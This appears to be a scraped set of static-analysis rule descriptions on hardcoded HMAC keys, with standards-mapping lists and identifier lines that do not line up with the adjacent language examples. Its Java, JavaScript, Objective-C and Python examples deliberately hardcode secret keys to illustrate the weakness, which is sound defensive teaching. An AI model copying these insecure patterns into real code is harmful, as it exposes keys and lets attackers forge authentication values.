[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[16] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[17] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[18] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[19] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[20] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[21] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[22] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[23] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[24] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 3.7.1, Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 3.7.1, Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[37] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[38] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 798
[39] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 798
[40] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[60] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[61] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[62] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[63] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.golang.key_management_hardcoded_hmac_key
Abstract
Hardcoded HMAC keys could compromise system security in a way that is not easy to remedy.
Explanation
It is never a good idea to hardcode an HMAC key. The cryptographic strength of HMAC depends on the confidentiality of the secret key, which is used for the calculation and verification of the message authentication values. Hardcoding an HMAC key allows anyone with access to the source to view it, and undermines the cryptographic strength of the function.
Example 1: The following code uses a hardcoded key to compute the HMAC:

...
private static String hmacKey = "lakdsljkalkjlksdfkl";
byte[] keyBytes = hmacKey.getBytes();
...
SecretKeySpec key = new SecretKeySpec(keyBytes, "SHA1");
Mac hmac = Mac.getInstance("HmacSHA1");
hmac.init(key);
...


This code will run successfully, but anyone who has access to it will have access to the HMAC key. After the program ships, there is likely no way to change the hardcoded HMAC key "hmacKey" unless the program is patched. A devious employee with access to this information could use it to compromise the HMAC function.
References
[1] RFC 2104 - HMAC: Keyed-Hashing for Message Authentication Internet Engineering Task Force (IETF)
[2] New Results on NMAC/HMAC when Instantiated with Popular Hash Functions Journal of Universal Computer Science (J.UCS)
[3] MSC03-J. Never hard code sensitive information CERT
[4] Standards Mapping - Common Weakness Enumeration CWE ID 321
[5] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[8] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[9] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[10] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[11] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[12] Standards Mapping - FIPS200 IA
[13] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[14] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[15] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[16] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[17] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[18] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[19] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[20] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[21] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[22] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[23] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[24] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[25] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 3.7.1, Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[34] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 3.7.1, Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[37] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[38] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[39] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 798
[40] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 798
[41] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[60] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[61] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[62] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[63] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[64] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.semantic.java.key_management_hardcoded_hmac_key
Abstract
Hardcoded HMAC keys could compromise system security in a way that is not easy to remedy.
Explanation
It is never a good idea to hardcode an HMAC key. The cryptographic strength of HMAC depends on the confidentiality of the secret key, which is used for the calculation and verification of the message authentication values. Hardcoding an HMAC key makes it available to anyone with access to the source, and undermines the cryptographic strength of the function.
Example 1: The following code uses a hardcoded key to compute the HMAC:

const hmacKey = "a secret";
const hmac = createHmac('sha256', hmacKey);
hmac.update(data);
...


This code runs successfully, but anyone with access to it has access to the HMAC key. After the program ships, there is likely no way to change the hardcoded hmacKey unless the program is patched. A devious employee with access to this information could use it to compromise the HMAC function.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[9] Standards Mapping - FIPS200 IA
[10] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 3.7.1, Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 3.7.1, Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[36] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 798
[37] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 798
[38] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[60] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.javascript.key_management_hardcoded_hmac_key
Abstract
Hardcoded HMAC keys could compromise system security in a way that is not easy to remedy.
Explanation
It is never a good idea to hardcode an HMAC key. The cryptographic strength of HMAC depends on the confidentiality of the secret key, which is used for the calculation and verification of the message authentication values. Hardcoding an HMAC key allows anyone with access to the source to view it, and undermines the cryptographic strength of the function.

Example 1: The following code uses a hardcoded key to compute the HMAC:


...
CCHmac(kCCHmacAlgSHA256, "secret", 6, plaintext, plaintextLen, &output);
...


This code will run successfully, but anyone who has access to it will have access to the HMAC key. After the program ships, there is likely no way to change the hardcoded HMAC key "secret" unless the program is patched. A devious employee with access to this information could use it to compromise the HMAC function.
References
[1] RFC 2104 - HMAC: Keyed-Hashing for Message Authentication Internet Engineering Task Force (IETF)
[2] New Results on NMAC/HMAC when Instantiated with Popular Hash Functions Journal of Universal Computer Science (J.UCS)
[3] Standards Mapping - Common Weakness Enumeration CWE ID 321
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[11] Standards Mapping - FIPS200 IA
[12] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[16] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[17] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[18] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[19] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[20] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[21] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[22] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[23] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[24] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 3.7.1, Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 3.7.1, Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[37] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[38] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 798
[39] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 798
[40] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[60] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[61] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[62] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[63] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.objc.key_management_hardcoded_hmac_key
Abstract
Hardcoded HMAC keys could compromise system security in a way that is not easy to remedy.
Explanation
It is never a good idea to hardcode an HMAC key. The cryptographic strength of HMAC depends on the confidentiality of the secret key, which is used for the calculation and verification of the message authentication values. Hardcoding an HMAC key allows anyone with access to the source to view it, and undermines the cryptographic strength of the function.

Example 1: The following code uses a hardcoded key to compute the HMAC:


import hmac
...
mac = hmac.new("secret", plaintext).hexdigest()
...


This code will run successfully, but anyone who has access to it will have access to the HMAC key. After the program ships, there is likely no way to change the hardcoded HMAC key "secret" unless the program is patched. A devious employee with access to this information could use it to compromise the HMAC function.
References
[1] RFC 2104 - HMAC: Keyed-Hashing for Message Authentication Internet Engineering Task Force (IETF)
[2] New Results on NMAC/HMAC when Instantiated with Popular Hash Functions Journal of Universal Computer Science (J.UCS)
[3] Standards Mapping - Common Weakness Enumeration CWE ID 321
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
